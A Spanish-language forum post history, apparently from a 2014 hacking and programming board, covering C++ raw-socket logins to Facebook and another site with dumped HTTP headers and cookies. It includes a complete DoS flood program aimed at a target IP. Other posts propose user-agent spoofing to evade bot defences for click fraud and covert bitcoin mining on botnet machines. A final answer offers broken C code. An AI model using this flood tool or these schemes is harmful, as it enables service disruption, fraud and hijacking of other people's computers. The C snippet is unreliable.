Saludos.
Edito: En el anterior code no guardaba las cookies porque en el if puse "Set-cookie:" en vez de "Set-Cookie:" (solucionado ahora las cookies se guardan en el archivo). Ayuda pls. He estado trabajando con el complemento firefox para cabeceras LIVE HTTP HEADERS, y bueno al intentar iniciar sesión obtuve esto: POST /login HTTP/1.1 Host: dominio.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://dominio.com/login Cookie: dsi=9888f8165173520951c8a290624375377019754c%7ExnMxIfJPCtfexiomYOApRUg5euo8voBRZGyPu76WNGsKvg%2Br216gsn9GD%2B%2BXoIBOaGsXTTAHafyzc%2Fcg4CzL1qIxmKH4EGcHdZCfgudd1LRRVR2GUIsripsJb0OMHSRB0PeC7NtV2s1D%2F0XqLiAeisQeSdn%2FEiXwrGpt%2FG2Tjbpwuj%2F%2BE4lf3%2FS1fKq8hjgTVRWG8M%2BGumOlp3c9BD%2B5XAxswAahq3DJKzXc5tolZ4FAn0gOiQCz%2B71TmTU%3D; _ga=GA1.3.243100690.1414398163; __insp_slim=1414398842749; __insp_nv=true; __insp_ref=d; __insp_norec_sess=true; __insp_wid=1437863939; _gat=1; _gat_newTracker=1 Connection: keep-alive Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 54 action=login&ref=&email=usuariooo&password=jhjhjh&cap= HTTP/1.0 200 OK Server: nginx Date: Mon, 27 Oct 2014 08:36:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 6817 Set-Cookie: dsi=a0b3aecda88296af21c62c532c5b7c03d5f7c93b%7EU7%2Bubzy8doqEALJ7jARDFNGEBq0dkzo7Wl091fODByCwBML4wg7yHq4tlmZXwwor7FQsscwV3fbqwh2XDttQYQvBtfJSYJPM7SASc8NBcs2Tyg38nkVANIHEmQxaBlfe20QMB%2Bot0zHyelX3Qh%2BXREprwDuk73rdZX8KbrfeozDq8fRNhH8htoNCksatqok7GU%2BOYqiLROjkVJICyUvOLSMg0PcJQ40YIXm4a4wfQlzulpA%2FTAsMM8JP79l9Hw%3D%3D; expires=Mon, 27-Oct-2014 20:36:18 GMT; Max-Age=43200; path=/; domain=dominio.com Vary: Accept-Encoding Content-Encoding: gzip X-Cache: MISS from ubuntu X-Cache-Lookup: MISS from ubuntu:3128 Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9) Connection: keep-alive ---------------------------------------------------------- http://static.dominio.com/min/f=assets/css/style.css,assets/css/m.css,assets/css/i18n/es.css&v=1414059469,1414059469,1414059469&tt=.css Haber esto es lo que manda firefox para una sesión errónea (mal introducido user y pass), el servidor lo recibe y ofrece un html de 6817 caracteres, y entonces firefox comienza a interactuar con el y a descargar dependencias para cargar el nuevo html y que pida de nuevo el usuario y contraseña. Vaya yo no tuve la misma suerte, esto es lo que mando al servidor con mi programa sin previa conexión ojo, firefox quizás tuvo previa conexión por la cookie, pero no e de dónde la saca ni que son esos atributos que le pone en la cola. Aún así me puse a copiarlo. En la primera interacción con el server mando lo mismo que firefox pero sin cookie y recibo una cadena de 62 caracteres que no veo sale basura, sale cortada la cadena al usar recv. De ahí saco las cookies del server las guardo en un archivo y hago un POST con ellas el mismo POST solo que con cookies y añadiendo la cola de las cookies de firefox. haya va mi petición y su respuesta (primera interacción sin cookies del server aún): POST /login HTTP/1.1 Host: dominio.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http ://dominio..com/login Connection: keep-alive Cache-Control: max-age=0 Content-type: application/x-www-form-urlencoded Content-length: 74
action=login&ref=&email=usuariooo&password=jhjhjh&cap=
HTTP/1.0 302 Moved Temporarily Server: nginx Date: Mon, 27 Oct 2014 10:02:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 20 Set-Cookie: dsi=dbfb766863c26a84209efbcc8f7110e013504bf5%7ErN8ROCK%2B3Is1sShgBR7ZgDUnfp8tXsyWb1BDGTuqGVV5x7EVyiQeqC%2B0g5Y4kM5xmL547ur0MQRn6z6pPMuFIoGfJnMLGgX1cI4AT%2B47bHi4KeoMWVw3JMncuJXfZIiWoouTrDWCtGFCYw%3D%3D; expires=Mon, 27-Oct-2014 22:02:53 GMT; Max-Age=43200; path=/; domain=dominio.com
Location: http://dominio.com/
Set-Cookie: dsi=e276861b5ae8e19a3cbc0093c18763bf5eadcb95%7EeOgl6lcCqAMLk6czChQZip5pkuji%2FXHUNGo0MnvQVMUohPW45pGK7llGl8%2BO3CP9BwAmvlIgaAzyt9g0sAGh8JXsGIcvUWbJBEQKHB9Jg6qTmXGLi5QqO7CjhfJiEj2vbZl9uwVpuusocAeGFUA%2FYEmgWQH%2FEGic%2FSYBWNeUQHOi3xVk6RPT6EePeeKLCTqT4H%2BN3iQSCr%2FdDhNXiEls1DJAaDake4i00XcC%2Buo8Ow%3D%3D; expires=Mon, 27-Oct-2014 22:02:53 GMT; Max-Age=43200; path=/; domain=dominio.com Vary: Accept-Encoding Content-Encoding: gzip X-Cache: MISS from ubuntu X-Cache-Lookup: MISS from ubuntu:3128 Via: 1.1 ubunþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ
Esta es la segunda interacción con los cookies recibidos de la respuesta a la primera: POST /login HTTP/1.1 Host: dominio.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http ://dominio.com/login Cookie: dsi=dbfb766863c26a84209efbcc8f7110e013504bf5%7ErN8ROCK%2B3Is1sShgBR7ZgDUnfp8tXsyWb1BDGTuqGVV5x7EVyiQeqC%2B0g5Y4kM5xmL547ur0MQRn6z6pPMuFIoGfJnMLGgX1cI4AT%2B47bHi4KeoMWVw3JMncuJXfZIiWoouTrDWCtGFCYw%3D%3D;__insp_nv = true; __insp_ref = d; __insp_norec_sess = true; __insp_wid = 1437863939; _gat = 1; _gat_newTracker = 1; lfbs = f74842e072e54dff920fc7f53b775edf63a098e1%7E1 Cookie: dsi=e276861b5ae8e19a3cbc0093c18763bf5eadcb95%7EeOgl6lcCqAMLk6czChQZip5pkuji%2FXHUNGo0MnvQVMUohPW45pGK7llGl8%2BO3CP9BwAmvlIgaAzyt9g0sAGh8JXsGIcvUWbJBEQKHB9Jg6qTmXGLi5QqO7CjhfJiEj2vbZl9uwVpuusocAeGFUA%2FYEmgWQH%2FEGic%2FSYBWNeUQHOi3xVk6RPT6EePeeKLCTqT4H%2BN3iQSCr%2FdDhNXiEls1DJAaDake4i00XcC%2Buo8Ow%3D%3D;__insp_nv = true; __insp_ref = d; __insp_norec_sess = true; __insp_wid = 1437863939; _gat = 1; _gat_newTracker = 1; lfbs = f74842e072e54dff920fc7f53b775edf63a098e1%7E1Connection: keep - alive Cache-Control: max-age=0 Content-type: application/x-www-form-urlencoded Content-length: 74
action=login&ref=&email=usuariooo&password=jhjhjh&cap=
HTTP/1.0 302 Moved Temporarily Server: nginx Date: Mon, 27 Oct 2014 10:04:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 20 Location: http://dominio.com/ Set-Cookie: dsi=d49bf690a0b0c6c178353d7e8ecca1a2a3b1c354%7E%2FkSCggzmo5e0ABgqVr1RI4Ke%2FHT8IY1ScWZjvrmkE%2BoFAo7Y02%2BEYqYmGgutz0ZzYwBpJCRpdHLYYT8gZ%2BhQ07MjAnO%2BIlOSsAea8Frex4C2M8I4Pjf90u%2BNaNPMSe%2BhYFUMP2ORAMh2WfZv0kaD2f0ZwUovmlM%2FLvxck5eumaM8M8Vz8oW1tiIxzDf%2BNHtr4waooak7%2F8EMtwd9OSl2kRVEj1fglYP3CQ84UVkLrA%3D%3D; expires=Mon, 27-Oct-2014 22:04:38 GMT; Max-Age=43200; path=/; domain=dominio.com Vary: Accept-Encoding Content-Encoding: gzip X-Cache: MISS from ubuntu X-Cache-Lookup: MISS from ubuntu:3128 Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9) Connection: close
þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ
En resumen no obtengo la misma cadena de datos al hacer parecida petición al servidor desde firefoz que desde mi programa, solo cambió la cookie, ¿que puede fallar?.
|
|
|
623
|
Programación / Programación C/C++ / Re: Iniciar sesion en facebook con cpp
|
en: 25 Octubre 2014, 16:33 pm
|
Vale quizas sea que necesite agente de usuario de navegador para que me mande los datos orientados a mi navegador, o simplemente para que me reconozca el navegador y así se defienda de los bots, cosa que trataremos de crackear. Me acabo de encontrar una preciosa página: http://www.useragentstring.com/pages/useragentstring.phpPero no entiendo cada sistema operativo tiene su agente de navegación, he probado con uno así: User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 Supongo que esto valdrá para todos usuarios no? Porque si quiero exportar mi programa quiero que valga para los demás aunque sean de 32 bits por ejemplo xp
|
|
|
624
|
Programación / Programación C/C++ / Iniciar sesion en facebook con cpp
|
en: 24 Octubre 2014, 19:42 pm
|
Hola de nuevo, miren mediante este programa busco iniciar sesión en facebook para ello he estudiado un poco su página: <td class="html7magic"><label for="email">Correo o teléfono</label></td><td class="html7magic"><label for="pass">Contraseña</label></td></tr><tr><td><input type="text" class="inputtext" name="email" id="email" value="" tabindex="1" /></td><td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2" /></td><td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_l"><input value="Entrar" tabindex="4" type="submit" id="u_0_l" /></label></td> Lo que me hace deducir que para iniciar sesión necesitare realizar un POST con el hotmail o teléfono y contraseña de la siguiente manera: email-> miemail@hotmail.compass->contraseña Entonces en el C++ tengo lo siguiente para iniciar sesión ojo a la cookie tengo problemas para extraerla, algun algoritmo sería bien recibido: char* inicia_sesion(char* user, char *pass) { WSADATA wsa; int sok, len; struct sockaddr_in dir; char buf[500], cad[100], aux[10], rec[1000];
WSAStartup(MAKEWORD(2, 0), &wsa);
if ((sok = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Se ha producido un error al inicializar el socket."); exit(0); } else { dir.sin_family = AF_INET; dir.sin_port = htons(PUERTO); dir.sin_addr.s_addr = inet_addr(IP);
strcpy_s(cad, "email="); strcat_s(cad, user); strcat_s(cad, "&pass="); strcat_s(cad, pass);
len = strlen(cad); _itoa_s(len, aux, 10);
strcpy_s(buf, "POST /index.php HTTP/1.1\r\n"); strcat_s(buf, "Host: www.facebook.com\r\n"); strcat_s(buf, "Content-type: application/x-www-form-urlencoded\r\n"); strcat_s(buf, "Content-length: "); strcat_s(buf, aux); strcat_s(buf, "\r\n\r\n"); strcat_s(buf, cad);
connect(sok, (struct sockaddr*)&dir, sizeof(dir)); send(sok, buf, strlen(buf), 0); strcpy_s(buf, ""); recv(sok, buf, 1000, 0); printf("%s", buf); } Recibo que el navegador no es válido: HTTP/1.0 302 Moved Temporarily Location: http://www.facebook.com/unsupportedbrowserContent-Type: text/html; charset=utf-8 X-FB-Debug: /e6SzF/7COKJY++J5Zt0aTYEdi2vwAvXAwRVH91SWDGbp6gIAHzpF2G9v+jDJox1gT4j3E8o0sk/OJy/qxKVuA== Date: Fri, 24 Oct 2014 17:40:51 GMT Content-Length: 0 X-Cache: MISS from ubuntu X-Cache-Lookup: MISS from ubuntu:3128 Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9) Connection: close þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþÌÌÌÌÌÌÌÌ Como puedo iniciar sesión, luego me tendrá que dar cookies. Un poco ayuda con esto pls. Se me ocurre hacerlo para una página que paguen por publicar mensajes o hacer clicks¿? se podría falsificar el navegador con cpp para esa página. Saludos.
|
|
|
625
|
Programación / Programación C/C++ / Re: Gusano básico en C++
|
en: 24 Octubre 2014, 18:17 pm
|
Todo un clásico la verdad es fácil crear un script que joda un ordenador no tiene mucho misterio xD. Pero sí la CPU estará quemando , no es la mejor forma de hacerlo.
Me recuerda a mi programa de DDOS que funciona por X tiempo pero si en ese X tiempo tu ordenador sigue vivo (pues está en bucle infinito hasta que se agote el tiempo) es un milagro casi porque el bucle no para de quemar CPU hasta se me bloqueo el ordenador quizas se podría poner un Sleep(10) cada 5 barridas aunque se perdería mucha potencia.
Pero son posibles soluciones saludos.
|
|
|
627
|
Programación / Programación C/C++ / Ayuda con programa DDoS
|
en: 13 Octubre 2014, 12:57 pm
|
Edito: El primer programa hacia 65608 envíos y uno solo fallido en 5 segundos, el segundo 876210 ninguno fallido en 3 segundos, ahora creo haber encontrado el coherente. Los anteriores eran rechazados por el servidor carentes de sentido enviaban cadenas como "\0" o basura. Ahora este DDOS genera respuesta del servidor 2900 en 3,5 segundos con respuesta todos ellos. Código: ///Lo bueno seria con procesos hijo. #include <windows.h> #include <iostream> #include <cstdio> #include <fstream> #include <cstring> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <process.h> #include <signal.h> #include <time.h> #pragma comment (lib, "Ws2_32.lib") using namespace std; int make_socket(char *ip, int puerto) { WSADATA wsa; struct sockaddr_in dir; int sock; WSAStartup(MAKEWORD(2, 0), &wsa); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { closesocket(sock); printf("error makesocket"); exit(1); } else { dir.sin_family = AF_INET; dir.sin_port = htons(puerto); dir.sin_addr.s_addr = inet_addr(ip); if (connect(sock, (struct sockaddr*)&dir, sizeof(dir)) == -1) { printf("error conectar socket"); system("pause"); } } return sock; } void attack(char *ip, int puerto, int tiempo) { char basura[4096]; int sock,error=0,exito=0; clock_t hola, adios; char resp[500]; tiempo = tiempo * 1000; strcpy_s(basura, "GET /index.php");//atacamos el index strcat_s(basura, "Host: host.com\r\n");//de este host strcat_s(basura, "Content-type: application/x-www-form-urlencoded\r\n"); strcat_s(basura, "\r\n\r\n"); int len=strlen(basura); sock = make_socket(ip, puerto); hola = clock(); while (1) { adios = clock(); if ((adios - hola) >= tiempo) { break; } if (send(sock, basura, len, 0) == -1) { error++; printf("ha fallado el numero %d", exito + error); sock = make_socket(ip, puerto); } else { printf("recibiendo..."); exito++; } } printf("Paquetes enviados: %d\n", exito + error); printf("ENVIADOS: %d\n", exito); printf("FALLADOS: %d\n\n", error); } int main() { clock_t hola, adios; hola = clock(); attack("56.670.633.080", 80, 3); //(segundos de ataque) adios = clock(); printf("ha tardado %d", adios - hola); return 0; }
jajaja jdr me acaba de cascar el ordenador al probar esto OMG jajaja Creo que era por esto: strcpy_s(basura, "GET /index.php HTTP/1.1\r\n");//atacamos el index
Buf lo he vuelto a probar y casi casca otra vez 641768 envios en 13 seg. Si al código le pongo recv(..) me envia el codigo fuente de la pagina, lo que pasa que es un descontrol de programa lo estoy probando con pause. Saludos
|
|
|
628
|
Programación / Programación C/C++ / Re: Minador de bitcoins en cpp
|
en: 13 Octubre 2014, 10:27 am
|
No quiero hacer un server, ya explique mis 2 posibles intenciones: 1-Iniciando sesion en un solo ordenador, descargar varias cadenas( quizás no deje mas de una a la vez por eso hablé de los limites). Y usando la botnet enviar estas cadenas a los bots para que las descifren, quizás esto me sirva de ayuda: https://github.com/bitcoin/bitcoin/blob/master/src/miner.cppAunque ahora no entiendo nada xD. Bien descifrarían la cadena y la subirían a la botnet y yo desde mi cliente y ordenador subiría la cadena descifrada y ganaria bitcoins en mi sesion. 2-Haciendo que todos los bots inicien sesión en la cuenta con un cliente modificado(ya que el bot no se debe de dar cuenta no le puede salir una ventana y que el acepte minar xD tiene que ser todo en segundo plano), que descarguen las cadenas cifradas, las minen y suban las descifradas al server del bitcoin para ganar bitcoins en mi cuenta. Minar bitoins que es exactamente? Consiste en descifrar cadenas en SHA256 no? que se descargan de un servidor y su cliente las mina para ganar bitcoins, ok. Entonces podríamos descargar varias cadenas y distribuirlas sobre una botnet para que los bots se pongan a minarlas (1000 bots x 1000 bitcoins mas xD) y luego paso a euros, no tiene porque ser algo ilegal, los bots pueden tener hasta la opcion de aceptarlo si queremos, si no sería ilegal.. no es el tema. Otra manera que cada cliente bot acceda a las cadenas iniciando sesión con tu cuenta y pass y descargue las cadenas y las mine, pero el cliente debería estar modificado pues no le vamos a dar al bot nuestra cuenta (aunque la podría sacar). Saludos.
|
|
|
629
|
Programación / Programación C/C++ / Re: Ayuda con lenguaje C++ por favor
|
en: 12 Octubre 2014, 17:41 pm
|
Eso es C++, cout no esta definido en C, estás mezclando 2 lenguajes de programación, tendrías que usar printf y scanf en su lugar: Te voy a resolver el code: #include <stdio.h> int main(){ int cont1=0,cont2=0,i; float rut,nota; for (i=0; i<10; i++); { } if(nota>=40) { cont1++; } else { cont2++; } printf("\n la cantidad de aprobados es: %d",cont1 ); printf("\n la cantidad de reprobados es %d",cont2 ); return 0; }
Prueba esto, ahora estas usando C solo. Ahora que me fijo es un código carente de sentido, deberías estudiar más antes de entrar a la práctica. Saludos.
|
|
|
|
|
|
|